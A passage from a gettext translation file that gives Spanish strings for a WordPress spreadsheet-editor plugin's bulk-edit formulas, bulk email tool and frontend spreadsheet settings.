                  " #: formulas/inc/ui.php:70 formulas/inc/ui.php:176 msgid "Bulk Edit" msgstr "Editor Masivo" #: formulas/inc/ui.php:73 msgid "Using this tool you can update thousands of rows at once" msgstr "Usando esta herramienta puedes editar miles de filas a la vez" #: formulas/inc/ui.php:74 msgid "Need help? Check our tutorials" msgstr "¿Necesitas ayuda? Consulta nuestros tutoriales" #: formulas/inc/ui.php:79 msgid "Select the rows that you want to update." msgstr "Selecciona las filas que quieres editar." #: formulas/inc/ui.php:82 msgid "Edit all the rows from my current search (including non-visible rows)." msgstr "" "Editar todas las filas de mi búsqueda actual (incluyendo las filas no " "visibles)." #: formulas/inc/ui.php:83 msgid "I want to search rows to update and edit all the search results" msgstr "" "Quiero buscar las filas a editar y editar todos los resultados de la búsqueda" #: formulas/inc/ui.php:84 msgid "Edit the rows that I selected manually in the spreadsheet." msgstr "" "Editar las filas que he seleccionado manualmente en la hoja de cálculo." #: formulas/inc/ui.php:85 msgid "Edit the same rows that I manually selected previously" msgstr "Editar las mismas filas que seleccioné manualmente previamente" #: formulas/inc/ui.php:87 msgid "Make another search" msgstr "Hacer otra búsqueda" #: formulas/inc/ui.php:95 msgid "What field do you want to edit?" msgstr "¿Qué campo quieres editar?" #: formulas/inc/ui.php:96 formulas/inc/ui.php:101 #: universal-sheet/views/export-modal.php:26 msgid "Select column..." msgstr "Selecciona la columna...." #: formulas/inc/ui.php:98 msgid "" "A column is missing? Enable it" msgstr "" "¿Falta una columna? Habilítala " #: formulas/inc/ui.php:110 msgid "Use slower execution method?" msgstr "¿Usar un método de ejecución más lento?" #: formulas/inc/ui.php:110 msgid "" "The default way uses a faster execution method, but it might not work in all " "the cases. Use this option when the default way doesn't work or doesn't " "update all the posts." msgstr "" "La forma predeterminada usa un método de ejecución más rápido, pero puede " "que no funcione en todos los casos. Usa esta opción cuando la forma " "predeterminada no funciona o no actualiza todas las filas." #: formulas/inc/ui.php:115 msgid "%s rows will be edited." msgstr "%s filas serán editadas." #: formulas/inc/ui.php:115 msgid "You can select the rows for the edit in the first option of this form." msgstr "" "Puedes seleccionar las filas a editar en la primera opción de este " "formulario." #: formulas/inc/ui.php:126 msgid "I have a database backup, Execute Now" msgstr "Tengo una copia de seguridad de la base de datos. Ejecutar Ahora" #: formulas/inc/ui.php:128 msgid "Execute Now" msgstr "Ejecutar Ahora" #: formulas/inc/ui.php:135 msgid "" "

                  1- Please backup your database before executing, the changes are not " "reversible.

                  2- Make sure the bulk edit settings are correct before " "executing.

                  " msgstr "" "

                  1- Por favor, haz una copia de seguridad de tu base de datos antes de " "ejecutar. Los cambios no son reversibles.

                  2- Asegúrate de que los " "ajustes de la edición masiva son correctos antes de ejecutar.

                  " #: formulas/inc/ui.php:137 msgid "" "Careful. The changes are not reversible. Please double check proceeding." msgstr "" "Cuidado. Los cambios no son reversibles. Por favor, comprueba nuevamente el " "procedimiento." #: formulas/inc/ui.php:144 msgid "" "The bulk edit is running. Please dont close this window until the process " "has finished." msgstr "" "El cambio masivo se está ejecutando. Por favor, no cierres esta ventana " "hasta que el proceso haya terminado." #: formulas/inc/ui.php:146 msgid "" "Tip: The formula execution is too slow? Save more posts per batch
                  Are you getting " "errors when executing the formula? Save " "less posts per batch" msgstr "" "Consejo: ¿La ejecución de la fórmula es demasiado lenta? Guarda más filas por lote
                  ¿Obtienes errores al ejecutar la fórmula? Guarda menos filas por lote " #: formulas/inc/ui.php:149 universal-sheet/views/export-modal.php:78 #: universal-sheet/views/import-modal.php:227 msgid "Pause" msgstr "Pausar" #: formulas/inc/ui.php:149 wp-sheet-editor/dev/views/quick-setup.php:78 #: wp-sheet-editor/dev/views/quick-setup.php:102 msgid "Go back" msgstr "Atrás" #: formulas/inc/ui.php:151 msgid "Processing..." msgstr "Procesando..." #: formulas/inc/ui.php:187 msgid "Edit" msgstr "Editar" #: formulas/inc/ui.php:206 msgid "Remove duplicates by title (delete the latest)" msgstr "Borrar los duplicados por título (quitar los más nuevos)" #: formulas/inc/ui.php:214 msgid "Remove duplicates by title (delete the oldest)" msgstr "Borrar los duplicados por título (quitar los más antiguos)" #: formulas/inc/ui.php:222 msgid "Remove duplicates with same title and content (delete the latest)" msgstr "" "Borrar duplicados con el mismo título y el mismo contenido (quitar los más " "nuevos)" #: formulas/inc/ui.php:230 msgid "Remove duplicates with same title and content (delete the oldest)" msgstr "" "Borrar duplicados con el mismo título y el mismo contenido (quitar los más " "antiguos)" #: formulas/inc/ui.php:255 msgid "More options" msgstr "Más opciones" #: formulas/inc/ui.php:300 msgid "The bulk edit is missing important information, please fill the form." msgstr "" "A la edición masiva le falta información importante, por favor, completa el " "formulario." #: formulas/inc/ui.php:301 msgid "Select type of edit" msgstr "Selecciona el tipo de edición" #: formulas/inc/ui.php:302 msgid "- -" msgstr "- -" #: formulas/inc/ui.php:303 msgid "You entered an invalid formula. Please double check or contact us." msgstr "" "Ingresaste una formula inválida. Por favor, verifica otra vez o contáctanos." #: formulas/inc/ui.php:308 msgid "Remove terms from posts" msgstr "Remover términos de los posts" #: formulas/inc/ui.php:309 msgid "" "Enter one or multiple term names separated with %s or new lines. Enter the " "full hierarchy like \"Parent > Child\" to remove subcategories" msgstr "" "Ingresa uno o más términos separados por %s o uno nuevo en cada línea. " "Ingresa la jerarquía completa como \"Padre > Hijo\" para remover " "subcategorías" #: formulas/inc/ui.php:323 msgid "Add time to existing dates" msgstr "Agregar tiempo a las fechas existentes" #: formulas/inc/ui.php:324 msgid "" "Add hours, days, weeks, months, or years to the existing dates.
                  If the " "existing date is empty, we will use the current date as a base." msgstr "" "Agrega horas, días, semanas, meses, o años a las fechas existentes.
                  Si la " "fecha existente está vacía, usaremos la fecha actual como base." #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Hours" msgstr "Horas" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Days" msgstr "Días" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Weeks" msgstr "Semanas" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Months" msgstr "Meses" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Years" msgstr "Años" #: formulas/inc/ui.php:345 formulas/inc/ui.php:373 msgid "Time unit" msgstr "Unidad de tiempo" #: formulas/inc/ui.php:351 msgid "Deduct time from existing dates" msgstr "Deducir tiempo de las fechas existentes" #: formulas/inc/ui.php:352 msgid "" "Deduct a number of hours, days, weeks, months, or years to the existing " "dates.
                  If the existing date is empty, we will use the current date as a " "base." msgstr "" "Deducir horas, días, semanas, meses, o años de las fechas existentes.
                  Si " "la fecha existente está vacía, usaremos la fecha actual como base." #: formulas/inc/ui.php:379 msgid "Math operation" msgstr "Operación matemática" #: formulas/inc/ui.php:380 msgid "" "Update existing value with the result of a math operation.
                  The result is " "rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Actualiza el valor existente con el resultado de una operación matemática." "
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, " "3,845602 se convierte en 3,85" #: formulas/inc/ui.php:392 msgid "Math formula" msgstr "Fórmula matemática" #: formulas/inc/ui.php:393 msgid "" "Example 1: $current_value$ + 2 * 5.
                  Example 2: $_regular_price$ * 0.7 " "(Set regular price - 30%)" msgstr "" "Ejemplo 1: $current_value$ + 2 * 5.
                  Ejemplo 2: $_regular_price$ * 0.7 " "(Establecer precio normal - 30%)" #: formulas/inc/ui.php:400 woocommerce/woocommerce.php:242 msgid "Decrease by percentage" msgstr "Disminuir en porcentaje" #: formulas/inc/ui.php:401 msgid "" "Decrease the existing value by a percentage.
                  The result is rounded to the " "2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Disminuye el valor existente en un porcentaje.
                  El resultado se redondea a " "los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85" #: formulas/inc/ui.php:414 formulas/inc/ui.php:435 #: woocommerce/woocommerce.php:225 msgid "Decrease by" msgstr "Disminuir en" #: formulas/inc/ui.php:415 formulas/inc/ui.php:457 msgid "Enter the percentage number." msgstr "Ingresa el número del porcentaje." #: formulas/inc/ui.php:421 msgid "Decrease by number" msgstr "Disminuir en número" #: formulas/inc/ui.php:422 msgid "" "Decrease the existing value by a number.
                  The result is rounded to the 2 " "nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Disminuye el valor existente en un número.
                  El resultado se redondea a los " "2 decimales más cercanos. Es decir, 3.845602 se convierte en 3.85" #: formulas/inc/ui.php:436 formulas/inc/ui.php:478 formulas/inc/ui.php:596 msgid "Enter the number." msgstr "Ingresa el número." #: formulas/inc/ui.php:442 msgid "Increase by percentage" msgstr "Incrementar en porcentaje" #: formulas/inc/ui.php:443 msgid "" "Increase the existing value by a percentage.
                  The result is rounded to the " "2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Aumenta el valor existente en un porcentaje.
                  El resultado se redondea a " "los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85" #: formulas/inc/ui.php:456 formulas/inc/ui.php:477 msgid "Increase by" msgstr "Incrementar en" #: formulas/inc/ui.php:463 msgid "Increase by number" msgstr "Incrementar en número" #: formulas/inc/ui.php:464 msgid "" "Increase the existing value by a number.
                  The result is rounded to the 2 " "nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Aumenta el valor existente en un número.
                  El resultado se redondea a los 2 " "decimales más cercanos. Es decir, 3.845602 se convierte en 3.85" #: formulas/inc/ui.php:484 msgid "Set value" msgstr "Establecer valor" #: formulas/inc/ui.php:485 msgid "" "Replace existing value with this value. Read more" msgstr "" "Reemplazar el valor existente por este valor. Leer más" #: formulas/inc/ui.php:499 msgid "Set random value" msgstr "Establecer valor aleatorio" #: formulas/inc/ui.php:500 msgid "" "Replace existing value with a random value from this list. Enter the values " "separated with | if you want to select from a predefined list, or enter 2 " "dates separated with > if you want to select any date from that range" msgstr "" "Reemplazar el valor existente por un valor aleatorio de esta lista. Ingresa " "los valores separándolos con | si quieres seleccionar de una lista " "predefinida, o ingresa 2 fechas separadas con > si quieres seleccionar " "cualquier fecha de ese rango." #: formulas/inc/ui.php:518 msgid "Remove everything after some text" msgstr "Eliminar todo lo que aparece después de un texto" #: formulas/inc/ui.php:519 msgid "" "I.e. A value like \"My great title (234343)\" can become \"My great title\" " "by removing everything after \" (\"" msgstr "" "Es decir, un valor como \"Mi gran título (234343)\" puede convertirse en " "\"Mi gran título\" eliminando todo lo que aparece después de \" (\"" #: formulas/inc/ui.php:528 msgid "Remove everything after this text" msgstr "Eliminar todo lo que aparece después de este texto" #: formulas/inc/ui.php:531 msgid "Remove the text too?" msgstr "¿Eliminar el texto también?" #: formulas/inc/ui.php:533 msgid "Yes, remove everything after the text, including the text" msgstr "" "Sí, eliminar todo lo que aparece después del texto, incluyendo el texto" #: formulas/inc/ui.php:533 msgid "No, remove everything after the text, without including the text" msgstr "" "No, eliminar todo lo que aparece después del texto, sin incluir el texto" #: formulas/inc/ui.php:539 msgid "Remove everything before some text" msgstr "Eliminar todo lo que aparece antes de un texto" #: formulas/inc/ui.php:540 msgid "" "I.e. A value like \"(234343) My great title\" can become \"My great title\" " "by removing everything before \") \"" msgstr "" "Por ejemplo, un valor como \"(234343) Mi gran título\" puede convertirse en " "\"Mi gran título\" eliminando todo lo que precede a \") \"." #: formulas/inc/ui.php:549 msgid "Remove everything before this" msgstr "Eliminar todo lo que aparece antes de esto" #: formulas/inc/ui.php:552 msgid "Remove the text from above too?" msgstr "¿Quitar también el texto de arriba?" #: formulas/inc/ui.php:560 formulas/inc/ui.php:1005 msgid "Replace" msgstr "Reemplazar" #: formulas/inc/ui.php:561 msgid "" "Replace a word, phrase, or number with a new value. Read more" msgstr "" "Reemplaza una palabra, frase o número con un nuevo valor. Leer más" #: formulas/inc/ui.php:570 formulas/inc/ui.php:1079 msgid "Replace this" msgstr "Reemplazar esto" #: formulas/inc/ui.php:574 formulas/inc/ui.php:1084 msgid "With this" msgstr "Con esto" #: formulas/inc/ui.php:580 msgid "Generate excerpt" msgstr "Generar extracto" #: formulas/inc/ui.php:581 msgid "" "If the column has a very long text, we will remove the html and shorten it " "to a number of words." msgstr "" "Si la columna tiene texto demasiado largo, borraremos el HTML y lo " "acortaremos a un número de palabras." #: formulas/inc/ui.php:595 msgid "Maximum number of words" msgstr "Número máximo de palabras" #: formulas/inc/ui.php:602 msgid "Capitalize words" msgstr "Poner en mayúsculas las palabras" #: formulas/inc/ui.php:603 msgid "" "Capitalize the first letter of every word in the field. I.e. convert \"my " "title\" into \"My Title\"." msgstr "" "Poner en mayúsculas la primera letra de cada palabra del campo. Es decir, " "convertir \"mi título\" en \"Mi Título\"." #: formulas/inc/ui.php:623 msgid "" "Remove the existing value and leave the field empty. Read more" msgstr "" "Eliminar el valor existente y dejar el campo vacío. Leer más" #: formulas/inc/ui.php:642 msgid "Remove duplicates" msgstr "Eliminar duplicados" #: formulas/inc/ui.php:643 formulas/inc/ui.php:660 msgid "" "Read " "more" msgstr "" "Leer más." "" #: formulas/inc/ui.php:651 formulas/inc/ui.php:668 msgid "Which duplicates do you want to delete?" msgstr "¿Qué duplicados quieres eliminar?" #: formulas/inc/ui.php:653 formulas/inc/ui.php:670 msgid "Delete the newest items and keep the oldest item" msgstr "Borrar los elementos nuevos y mantener el elemento más antiguo" #: formulas/inc/ui.php:653 formulas/inc/ui.php:670 msgid "Delete the old items and keep the newest item" msgstr "Borrar los elementos antiguos y mantener el elemento más reciente" #: formulas/inc/ui.php:659 msgid "Remove duplicates with same title and content" msgstr "Borrar duplicados por título (quitar los más nuevos)" #: formulas/inc/ui.php:676 msgid "Append" msgstr "Añadir al final" #: formulas/inc/ui.php:685 msgid "Enter the value to append to the existing value." msgstr "Ingresa el valor a añadir al final del valor existente." #: formulas/inc/ui.php:691 msgid "Prepend" msgstr "Añadir al inicio" #: formulas/inc/ui.php:703 msgid "Enter the value to prepend to the existing value." msgstr "Ingresa el valor para añadir al inicio del valor existente." #: formulas/inc/ui.php:709 msgid "Custom formula" msgstr "Fórmula personalizada" #: formulas/inc/ui.php:721 msgid "" "Only for advanced users. Read more." msgstr "" "Sólo para usuarios avanzados. Leer más." #: formulas/inc/ui.php:727 msgid "Send email" msgstr "Enviar correo electrónico" #: formulas/inc/ui.php:728 msgid "" "

                  Send email notifications to users in bulk, and create advanced segments " "using the advanced search.

                  For example, you can filter a spreadsheet " "of customers/users/forum users/affiliates/blog commenters by country, city, " "state, orders count, etc and send them important emails.

                  We recommend " "that you use a SMTP plugin to improve the email deliverability and take into " "account the users consent and privacy laws.

                  " msgstr "" "

                  Envía notificaciones por correo electrónico a los usuarios de forma " "masiva, y crea segmentos avanzados utilizando la búsqueda avanzada.

                  Por ejemplo, puedes filtrar una hoja de cálculo de clientes/usuarios/" "miembros de un foro/afiliados/comentaristas del blog por país, ciudad, " "estado, recuento de pedidos, etc., y enviarles correos electrónicos " "importantes.

                  Te recomendamos que utilices un plugin SMTP para mejorar " "la entrega de los correos electrónicos y tener en cuenta el consentimiento " "de los usuarios y las leyes de privacidad.

                  " #: formulas/inc/ui.php:740 msgid "Email subject" msgstr "Asunto del correo electrónico" #: formulas/inc/ui.php:740 msgid "You can use variables to insert the value of any column." msgstr "Puedes utilizar variables para insertar el valor de cualquier columna." #: formulas/inc/ui.php:747 msgid "Email message" msgstr "Mensaje del correo" #: formulas/inc/ui.php:747 msgid "" "We recommend that you create a message that looks like it was written " "personally, you should add your logo, message, and email signature. You can " "use variables to insert the value of any column." msgstr "" "Te recomendamos que crees un mensaje que parezca escrito personalmente, " "debes añadir tu logotipo, mensaje y firma de correo electrónico. Puedes " "utilizar variables para insertar el valor de cualquier columna." #: formulas/inc/ui.php:754 msgid "Reply to" msgstr "Responder a" #: formulas/inc/ui.php:754 msgid "People will reply to this email address" msgstr "Los receptores responderán a esta dirección de correo electrónico" #: formulas/inc/ui.php:757 msgid "Only send one email per email address?" msgstr "¿Sólo se puede enviar un correo electrónico por dirección?" #: formulas/inc/ui.php:757 msgid "" "One email per user means that if 3 rows have the same email address, only " "one row will trigger an email and the others will be skipped. One email per " "row means that if 3 rows have the same email address, we'll send 3 emails to " "the same address (one per row)." msgstr "" "Un correo electrónico por usuario significa que si 3 filas tienen la misma " "dirección de correo electrónico, sólo una fila activará un correo " "electrónico y las demás se omitirán. Un correo electrónico por fila " "significa que si 3 filas tienen la misma dirección de correo electrónico, " "enviaremos 3 correos electrónicos a la misma dirección (uno por fila)." #: formulas/inc/ui.php:759 msgid "Send one email per user" msgstr "Enviar un correo electrónico por usuario" #: formulas/inc/ui.php:759 msgid "Send one email per row" msgstr "Enviar un correo electrónico por fila" #: formulas/inc/ui.php:765 msgid "PHP Function" msgstr "Función PHP" #: formulas/inc/ui.php:777 msgid "" "For advanced users. Enter the name of your PHP function and we will pass 2 " "parameters: $current_data (string with current value of the column) and " "$row_id, the function must accept the 2 parameters and return the modified " "value as a string. We will automatically save it if the value changed. Read more." msgstr "" "Para usuarios avanzados. Ingresa el nombre de tu función PHP y pasaremos 2 " "parámetros: $current_data (string con el valor actual de la celda) y " "$row_id, la función debe aceptar los 2 parámetros y devolver el valor " "modificado para guardar como string. Automáticamente guardaremos si el valor " "devuelto cambió. Leer más." #: formulas/inc/ui.php:783 msgid "Copy from other columns" msgstr "Copiar de otras columnas" #: formulas/inc/ui.php:788 msgid "" "Copy the value of other fields into this field.
                  Example, copy \"sale " "price\" into the \"regular price\" field." msgstr "" "Copiar el valor de otros campos en este campo.
                  Ejemplo, copiar \"precio " "rebajado\" al campo \"precio normal\"." #: formulas/inc/ui.php:799 msgid "Copy from this column" msgstr "Copiar de esta columna" #: formulas/inc/ui.php:875 msgid "We will replace the existing media file(s) with these file(s)." msgstr "" "Reemplazaremos el/los archivo(s) multimedia existentes con este/estos " "archivo(s)." #: formulas/inc/ui.php:886 formulas/inc/ui.php:911 formulas/inc/ui.php:936 msgid "Upload the files" msgstr "Subir los archivos" #: formulas/inc/ui.php:893 formulas/inc/ui.php:918 formulas/inc/ui.php:943 msgid "File URLs" msgstr "URLs de archivos" #: formulas/inc/ui.php:894 formulas/inc/ui.php:919 formulas/inc/ui.php:944 msgid "Enter the URLs separated by commas. They can be from your own site." msgstr "Ingresa las URL separadas por comas. Pueden ser de tu propio sitio." #: formulas/inc/ui.php:900 msgid "We will prepend the new file(s) to the existing media file(s)." msgstr "" "Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) " "multimedia existente(s)." #: formulas/inc/ui.php:925 msgid "We will append the new file(s) to the existing media file(s)." msgstr "" "Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) " "existente(s)." #: formulas/inc/ui.php:950 formulas/inc/ui.php:1006 msgid "Replace a media file with other file" msgstr "Reemplazar un archivo multimedia por otro archivo" #: formulas/inc/ui.php:959 msgid "Replace these files" msgstr "Reemplazar estos archivos" #: formulas/inc/ui.php:960 formulas/inc/ui.php:968 msgid "Enter the URLs separated by commas. They must be from your own site." msgstr "Ingresa las URL separadas por comas. Deben ser de tu propio sitio." #: formulas/inc/ui.php:967 msgid "With these files" msgstr "Con estos archivos" #: formulas/inc/ui.php:980 msgid "We will replace the existing media file with this file." msgstr "Reemplazaremos el archivo multimedia existente con este archivo." #: formulas/inc/ui.php:991 msgid "Upload the file" msgstr "Subir el archivo" #: formulas/inc/ui.php:999 msgid "" "Enter the URL. It can be an URL from your own site (Example http://site.com/" "wp-content/uploads/2016/01/file.jpg) or an external URL." msgstr "" "Ingresa la URL. Puede ser una URL de tu propio sitio (Ejemplo http://sitio." "com/wp-content/uploads/2016/01/file.jpg) o una URL externa." #: formulas/inc/ui.php:1015 msgid "Replace this file" msgstr "Reemplazar este archivo" #: formulas/inc/ui.php:1016 formulas/inc/ui.php:1024 msgid "" "Enter the URL. It must be an URL from your own site. Example: http://site." "com/wp-content/uploads/2016/01/file.jpg" msgstr "" "Ingresa la URL. Debe ser una URL de tu propio sitio. Ejemplo: http://sitio." "com/wp-content/uploads/2016/01/file.jpg" #: formulas/inc/ui.php:1023 msgid "With this file" msgstr "Con este archivo" #: formulas/inc/ui.php:1062 msgid "We will replace the existing terms with these terms." msgstr "Sustituiremos los términos existentes por estos términos." #: formulas/inc/ui.php:1067 msgid "" "Enter the new terms separated by %s . You can add hierarchy like parent > " "child > child" msgstr "" "Ingresa los nuevos términos separados por %s. Puedes agregar jerarquía como " "padre > hijo > hijo" #: formulas/inc/ui.php:1073 msgid "" "Replace some term(s) with new term(s). Read more" msgstr "" "Reemplazar algún/algunos término(s) con término(s) nuevo(s). Leer más" #: formulas/inc/ui.php:1080 formulas/inc/ui.php:1085 msgid "You must enter the full hierarchy like parent > child" msgstr "Debes ingresar la jerarquía completa como padre > hijo" #: formulas/inc/ui.php:1095 msgid "Terms" msgstr "Términos" #: formulas/inc/ui.php:1096 msgid "Enter the full hierarchy like parent > child" msgstr "Debes ingresar la jerarquía completa como padre > hijo" #: frontend-sheet/frontend-sheet.php:74 #: wp-sheet-editor/dev/inc/teasers/frontend.php:56 msgid "Frontend Spreadsheets" msgstr "Hojas de Cálculo Frontend" #: frontend-sheet/frontend-sheet.php:79 msgid "Login message" msgstr "Mensaje de inicio de sesión" #: frontend-sheet/frontend-sheet.php:80 msgid "You need to login to view this page." msgstr "Necesitas iniciar sesión para ver esta página." #: frontend-sheet/frontend-sheet.php:81 msgid "" "This will be displayed when the current user is not logged in and tries to " "see a spreadsheet page. We will display a login form after your message." msgstr "" "Esto se mostrará cuando el usuario actual no esté conectado e intente ver " "una página de hoja de cálculo. Mostraremos un formulario de inicio de sesión " "después del mensaje." #: frontend-sheet/frontend-sheet.php:86 msgid "Hide admin bar on the frontend" msgstr "Ocultar la barra de administración en el frontend" #: frontend-sheet/frontend-sheet.php:87 msgid "" "By default WordPress shows a black bar at the top of the page when a logged " "in user views a frontend page. The bar lets you access the wp-admin, log " "out, edit the current page, etc. If you enable this option we will hide that " "bar and you can use the shortcode: [vg_display_logout_link] to display the " "logout link." msgstr "" "Por defecto, WordPress muestra una barra negra en la parte superior de la " "página cuando un usuario que ha iniciado sesión ve una página del frontend. " "La barra te permite acceder a wp-admin, cerrar sesión, editar la página " "actual, etc. Si habilitas esta opción, ocultaremos esa barra y podrás usar " "el código abreviado: [vg_display_logout_link] para mostrar el enlace de " "cierre de sesión." #: frontend-sheet/frontend-sheet.php:94 msgid "Logo" msgstr "Logo" #: frontend-sheet/frontend-sheet.php:95 msgid "This logo will be displayed above the spreadsheet in the frontend" msgstr "Este logotipo se mostrará encima de la hoja de cálculo en el frontend" #: frontend-sheet/frontend-sheet.php:100 msgid "Menu" msgstr "Menú" #: frontend-sheet/frontend-sheet.php:101 msgid "" "This menu will be displayed at the top right section above the spreadsheet." msgstr "" "Este menú se mostrará en la parte superior derecha de la hoja de cálculo." #: frontend-sheet/frontend-sheet.php:107 msgid "Main Color" msgstr "Color principal" #: frontend-sheet/frontend-sheet.php:108 msgid "This color will be used as background for the header and footer." msgstr "" "Este color se utilizará como fondo para el encabezado y el pie de página." #: frontend-sheet/frontend-sheet.php:115 msgid "Links Color" msgstr "Color de los enlaces" #: frontend-sheet/frontend-sheet.php:116 msgid "" "This color will be used for the menu links, it should be the opposite of the " "background color. i.e. dark background with light text, or light background " "with dark text" msgstr "" "Este color se utilizará para los enlaces del menú, debe ser el opuesto del " "color de fondo, es decir, fondo oscuro con texto claro, o fondo claro con " "texto oscuro" #: frontend-sheet/frontend-sheet.php:213 msgid "Posts" msgstr "Entradas" #: frontend-sheet/frontend-sheet.php:214 msgid "Pages" msgstr "Páginas" #: frontend-sheet/frontend-sheet.php:244 msgid "Quick settings" msgstr "Ajustes rápidos" #: frontend-sheet/frontend-sheet.php:342 #: frontend-sheet/views/backend/metabox.php:48 #: frontend-sheet/views/backend/metabox.php:94 msgid "" " (Premium. Try for Free for 7 Days)" msgstr "" " (Premium. Probar Gratis por 7 Días " ")" #: frontend-sheet/frontend-sheet.php:416 msgctxt "Post Type General Name" msgid "Spreadsheets" msgstr "Hojas de Cálculo" #: frontend-sheet/frontend-sheet.php:417 msgctxt "Post Type Singular Name" msgid "Spreadsheet" msgstr "Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:418 frontend-sheet/frontend-sheet.php:445 msgid "Frontend Sheet" msgstr "Hoja de Cálculo Frontend" #: frontend-sheet/frontend-sheet.php:419 msgid "Post Type" msgstr "Post type" #: frontend-sheet/frontend-sheet.php:420 msgid "Spreadsheet Archives" msgstr "Archivos de la Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:421 msgid "Spreadsheet Attributes" msgstr "Atributos de la Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:422 msgid "Parent Spreadsheet:" msgstr "Hoja de Cálculo Padre:" #: frontend-sheet/frontend-sheet.php:423 msgid "All Spreadsheets" msgstr "Todas las Hojas de Cálculo" #: frontend-sheet/frontend-sheet.php:424 msgid "Add New Spreadsheet" msgstr "Agregar Nueva Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:425 msgid "Add New" msgstr "Añadir Nuevo" #: frontend-sheet/frontend-sheet.php:426 msgid "New Spreadsheet" msgstr "Nueva Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:427 msgid "Edit settings" msgstr "Editar ajustes" #: frontend-sheet/frontend-sheet.php:428 msgid "Update settings" msgstr "Actualizar ajustes" #: frontend-sheet/frontend-sheet.php:429 msgid "View Spreadsheet" msgstr "Ver la Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:430 msgid "View Spreadsheets" msgstr "Ver las Hojas de Cálculo" #: frontend-sheet/frontend-sheet.php:431 msgid "Search Spreadsheet" msgstr "Buscar Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:432 msgid "Not found" msgstr "No encontrado" #: frontend-sheet/frontend-sheet.php:433 msgid "Not found in Trash" msgstr "No se encontró en la Papelera" #: frontend-sheet/frontend-sheet.php:434 #: wp-sheet-editor/dev/inc/api/bootstrap.php:791 msgid "Featured Image" msgstr "Imagen Destacada" #: frontend-sheet/frontend-sheet.php:435 msgid "Set featured image" msgstr "Establecer imagen destacada" #: frontend-sheet/frontend-sheet.php:436 msgid "Remove featured image" msgstr "Eliminar imagen destacada" #: frontend-sheet/frontend-sheet.php:437 msgid "Use as featured image" msgstr "Usar como imagen destacada" #: frontend-sheet/frontend-sheet.php:438 msgid "Insert into item" msgstr "Insertar en el elemento" #: frontend-sheet/frontend-sheet.php:439 msgid "Uploaded to this item" msgstr "Subido a este elemento" #: frontend-sheet/frontend-sheet.php:440 msgid "Spreadsheets list" msgstr "Lista de hojas de cálculo" #: frontend-sheet/frontend-sheet.php:441 msgid "Spreadsheets list navigation" msgstr "Navegación por la lista de hojas de cálculo" #: frontend-sheet/frontend-sheet.php:442 msgid "Filter items list" msgstr "Filtrar elementos de la lista" #: frontend-sheet/views/backend/metabox.php:6 msgid "Need help?" msgstr "¿Necesitas ayuda?" #: frontend-sheet/views/backend/metabox.php:7 msgid "Watch tutorial" msgstr "Ver tutorial" #: frontend-sheet/views/backend/metabox.php:14 msgid "What information do you want to edit on the frontend?" msgstr "¿Qué información quieres editar en el frontend?" #: frontend-sheet/views/backend/metabox.php:32 #: frontend-sheet/views/backend/metabox.php:89 #: frontend-sheet/views/backend/metabox.php:113 #: wp-sheet-editor/dev/views/editor-page.php:288 #: wp-sheet-editor/dev/views/editor-page.php:331 msgid "Save changes" msgstr "Guardar cambios" #: frontend-sheet/views/backend/metabox.php:38 msgid "" "Please select the post type and save changes. After you save changes you " "will be able to see the rest of the settings and instructions." msgstr "" "Por favor, selecciona el post type y guarda los cambios. Después de guardar " "los cambios, podrás ver el resto de los ajustes e instrucciones." #: frontend-sheet/views/backend/metabox.php:52 msgid "Setup page in the frontend" msgstr "Configurar página en el frontend" #: frontend-sheet/views/backend/metabox.php:54 msgid "" "You need to set a logo in the settings page. Optionally you can change the " "background color, links color, and set a header menu." msgstr "" "Necesitas establecer un logotipo en la página de ajustes. Opcionalmente, " "puedes cambiar el color de fondo, el color de los enlaces y establecer un " "menú de navegación de la cabecera." #: frontend-sheet/views/backend/metabox.php:60 msgid "Open Settings Page" msgstr "Abrir la Página de Ajustes" #: frontend-sheet/views/backend/metabox.php:62 msgid "Preview Frontend Editor" msgstr "Previsualizar el Editor Frontend" #: frontend-sheet/views/backend/metabox.php:64 msgid "" "When you finish this step you can start using the frontend editor. You can " "add the frontend page to a menu or share the link with your users." msgstr "" "Cuando termines este paso puedes empezar a usar el editor frontend. Puedes " "añadir la página frontend a un menú o compartir el enlace con tus usuarios." #: frontend-sheet/views/backend/metabox.php:67 msgid "Available tools (optional)" msgstr "Herramientas disponibles (opcional)" #: frontend-sheet/views/backend/metabox.php:69 msgid "Tools located above the table." msgstr "Herramientas sobre la tabla." #: frontend-sheet/views/backend/metabox.php:91 msgid "Columns visibility and Custom Fields (optional)" msgstr "Visibilidad de las columnas y los Campos Personalizados (opcional)" #: frontend-sheet/views/backend/metabox.php:108 msgid "" "Allow your Users to Edit Custom Fields, Add new columns to the editor, " "Enable fields, disable core fields, and sort fields. You can customize the " "frontend editor completely." msgstr "" "Permitir a los usuarios editar campos personalizados, añadir nuevas columnas " "al editor, habilitar campos, deshabilitar campos principales y ordenar los " "campos. Puedes personalizar completamente el editor frontend." #: frontend-sheet/views/backend/metabox.php:117 msgid "Security and user roles (optional)" msgstr "Seguridad y roles de usuario (opcional)" #: frontend-sheet/views/backend/metabox.php:120 msgid "" "The editor is available only for logged in users. Unknown users will see a " "login form." msgstr "" "El editor sólo está disponible para usuarios registrados. Los usuarios " "desconocidos verán un formulario de inicio de sesión." #: frontend-sheet/views/backend/metabox.php:122 msgid "User roles" msgstr "Roles de usuario" #: 